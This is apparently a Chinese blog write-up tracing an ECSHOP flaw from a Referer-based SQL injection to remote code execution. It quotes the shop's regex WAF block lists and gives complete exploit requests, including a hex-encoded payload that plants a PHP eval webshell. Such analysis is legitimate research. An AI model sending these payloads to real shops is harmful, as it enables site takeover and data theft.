技术改变世界,文化改变人心

ECSHOP 漏洞分析

ECSHOP 漏洞分析

全局过滤和防御

ecshop的防御非常。。。。暴力,ecshop的结构并不是现在流行的MVC框架,它不是单入口模式的,所以有很多文件来表示对应的模块

全局过滤文件safe.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
$url_arr=array(
'xss'=>"\\=\\+\\/v(?:8|9|\\+|\\/)|\\%0acontent\\-(?:id|location|type|transfer\\-encoding)",
);
$args_arr=array(
'xss'=>"[\\'\\\"\\;\\*\\<\\>].*\\bon[a-zA-Z]{3,15}[\\s\\r\\n\\v\\f]*\\=|\\b(?:expression)\\(|\\<script[\\s\\\\\\/]|\\b(?:eval|alert|prompt|msgbox)\\s*\\(|url\\((?:\\#|data|javascript)",
'sql'=>"[^\\{\\s]{1}(\\s|\\b)+(?:select\\b|update\\b|insert(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+into\\b).+?(?:from\\b|set\\b)|[^\\{\\s]{1}(\\s|\\b)+(?:create|delete|drop|truncate|rename|desc)(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+(?:table\\b|from\\b|database\\b)|into(?:(\\/\\*.*?\\*\\/)|\\s|\\+)+(?:dump|out)file\\b|\\bsleep\\([\\s]*[\\d]+[\\s]*\\)|benchmark\\(([^\\,]*)\\,([^\\,]*)\\)|(?:declare|set|select)\\b.*@|union\\b.*(?:select|all)\\b|(?:select|update|insert|create|delete|drop|grant|truncate|rename|exec|desc|from|table|database|set|where)\\b.*(charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|mid|sub|substring|oct|reverse|right|unhex)\\(|(?:master\\.\\.sysdatabases|msysaccessobjects|msysqueries|sysmodules|mysql\\.db|sys\\.database_name|information_schema\\.|sysobjects|sp_makewebtask|xp_cmdshell|sp_oamethod|sp_addextendedproc|sp_oacreate|xp_regread|sys\\.dbms_export_extension)",
'other'=>"\\.\\.[\\\\\\/].*\\%00([^0-9a-fA-F]|$)|%00[\\'\\\"\\.]");
if( !function_exists('filterData') ){
function filterData(&$data,$type){
$data and filterArray($data,$type);
}
}
if( !function_exists('filterArray') ){
function filterArray(&$data,$filterarr){
foreach ($data as $key => $value) {
if( is_array($value) ){
filterArray($data[$key],$filterarr);
}else{
if( $key and in_array(strtolower($key), array('goods_id','product_id','cat_id','gid','pid','uid','site_id'))){
$value and $data[$key] = intval($value);
}elseif ($key and in_array(strtolower($key),array('order_num','advance','advance_freeze','point_freeze','point_history','point','score_rate','state','role_type','advance_total','advance_consume'))) {
unset($data[$key]);
}
// elseif( $key and in_array($key, array('tax_company','comment','contact','forward')) ){
// $value and $data[$key] = htmltotxt($value);
// }
elseif( $value ){
$data[$key] = filter($value,$filterarr);
}
}
}
}
}
if( !function_exists('filter') ){
function filter($str,$filterarr){
foreach($filterarr as $value)
{
if (preg_match("/".$value."/is",$str)==1||preg_match("/".$value."/is",urlencode($str))==1)
{
header("Content-type: text/html; charset=utf-8");
print "您的提交带有不合法参数,谢谢合作";
exit();
}
}
return $str;
}
}
$referer=empty($_SERVER['HTTP_REFERER']) ? array() : array($_SERVER['HTTP_REFERER']);
$query_string=empty($_SERVER["QUERY_STRING"]) ? array() : array($_SERVER["QUERY_STRING"]);

filterData($query_string,$url_arr);
filterData($_GET,$args_arr);
filterData($_POST,$args_arr);
filterData($_COOKIE,$args_arr);
filterData($referer,$args_arr);
filterData($_SERVER,$args_arr);

可以看到,ecshop把不符合安全规则的参数全部都进行了waf,直接不允许请求,而且对$_GET,$_POST,$_COOKIE,$_SERVER全部对进行了过滤,在这种暴力的防御下,我们的思路就应该从GET,POST这些变量中稍微变动一下,基本这种全局waf是很难饶过的,那么我们可以去找一些url二次编码,或者base64解码的地方,这样才可以绕过这种全局waf

漏洞复现

1
2
3
GET /user.php?act=login HTTP/1.1
Host: 127.0.0.1
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}

可以直接将poc提交,看一下结果

这里因为是mysql是5.7版本,而limit后procedure analyse的使用范围是:mysql5.x~5.6.6,所以procedure不能用,就不配了,但是漏洞已经可以显现了

SQL注入漏洞跟踪分析

  1. 第一步,程序获取了referer的值

    而我们的构造不会被safe.php所拦截,所以这一步获取的就是我们完全可控的referer

  2. 第二步,程序将referer传递给了注册模版变量的assgin函数

    我们跟入assign函数:

    因为我们传入的参数是字符串,进入else分支,因为这里没有任何的过滤,我们成功将我们可控的referer的值注册成为了cls_template类的变量

  3. 之后程序调用了display,我们跟入display函数

    现在的filename为:user_passport.dwt

    1. 获取到了user_passport.dwt的内容存入$out变量中

      referer的值被插入到了$out

    2. 之后比较$out$this->_echash如果相等的话就进入if的条件中,而$this->_echash的值在最前面就已经定义了

    3. 将获取到的$out根据_echash进行分割,我们可以看到被分割为了这样的数组

      因为是根据_echash进行分割的,所以我们需要referer的值中也有_echash的值,可以看到我们的payload现在变成了ads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}

    4. 接下来将数组中奇数的部分作为参数调用insert_mod函数,跟入insert_mod函数

    5. 之后,将$name参数根据|进行分割,之后得到了$fun$para

    6. 现在我们可以控制执行的函数和参数,但是这个函数必须是insert_xxx这种类型的参数,而作者成功找到了insert_ads这个函数来作为漏洞的利用函数,跟入insert_ads

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      function insert_ads($arr)
      {
      static $static_res = NULL;

      // $arr['num'] = intval($arr['num']);
      // $arr['id'] = intval($arr['id']);
      $time = gmtime();
      if (!empty($arr['num']) && $arr['num'] != 1)
      {
      $sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
      'p.ad_height, p.position_style, RAND() AS rnd ' .
      'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
      'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
      "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
      "AND a.position_id = '" . $arr['id'] . "' " .
      'ORDER BY rnd LIMIT ' . $arr['num'];
      $res = $GLOBALS['db']->GetAll($sql);
      }
      else
      {
      if ($static_res[$arr['id']] === NULL)
      {
      $sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, '.
      'p.ad_height, p.position_style, RAND() AS rnd ' .
      'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
      'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
      "WHERE enabled = 1 AND a.position_id = '" . $arr['id'] .
      "' AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' " .
      'ORDER BY rnd LIMIT 1';
      $static_res[$arr['id']] = $GLOBALS['db']->GetAll($sql);
      }
      $res = $static_res[$arr['id']];
      }
      $ads = array();
      $position_style = '';

      ...
      }

      传入的参数$arr为:

      在SQL语句中:

      1
      2
      3
      4
      5
      6
      7
      $sql  = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
      'p.ad_height, p.position_style, RAND() AS rnd ' .
      'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
      'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
      "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
      "AND a.position_id = '" . $arr['id'] . "' " .
      'ORDER BY rnd LIMIT ' . $arr['num'];

      我们可以看到将$arr['num']的值直接拼接到了limit之后,在mysql允许procedure的时候就可以造成SQL注入

GETSHELL漏洞分析

很多人认为到这里,SQL注入就是这个漏洞所能做到的一切了,但是,根据POC,这个漏洞从一个XSS到SQL注入,最终GETSHELL,我们现在分析GETSHELL的payload

1
2
3
GET /user.php?act=login HTTP/1.1
Host: 127.0.0.1
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}

其中十六进制转为字符串之后的结果为:

'/*

{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx

因为mysql对十六进制进行转为字符处理,所以我们的payload用十六进制转换后即可成功绕过ecshop的全局waf

在执行到insert_ads方法之后,查看SQL语句:

1
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop`.`ecs_ad` AS a LEFT JOIN `ecshop`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1552473239' AND end_time >= '1552473239' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -

可以看到,我们成功进行了union查询,最终,我们查询的$res['position_style']结果为:

当满足$row['position_id'] != $arr['id']的时候,$position_style = $row['position_style'];被赋值为我们的payload,之后$position_style在拼接str:之后直接被带入fetch函数

跟入fetch函数

可以看到,我们的payload被未经处理的带入了fetch_str,看一下fetch_str进行了什么处理:

  1. $source里面包含的copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo替换为空,但是很显然忘记了assert(注意:在php7以上,assert不再能执行函数))

  2. 之后包含了includes_cls_template_fetch_str.php文件,代码很短,但是是我们执行命令的重要的一步

    1
    2
    3
    <?php
    $template = $this;
    return preg_replace_callback("/{([^\}\{\n]*)}/", function($r) use(&$template){return $template->select($r[1]);}, $source);

    preg_replace_callback函数将{}之间的内容作为参数传给了select函数,进入select函数

    在第三个条件分支满足条件,值的第一个字符为:\$,将$tag的值拼接在<?php xxxx ?>之间,返回结果,返回的字符串为:

    之后进入到_eval函数

    可以看到我们的代码进入了eval执行,最后成功getshell,可以在根目录下发现1.php

总结

原本一个简单的XSS点,之后到有mysql版本限制的SQL注入,再到无任何限制的getshell,简直不要太强。。。。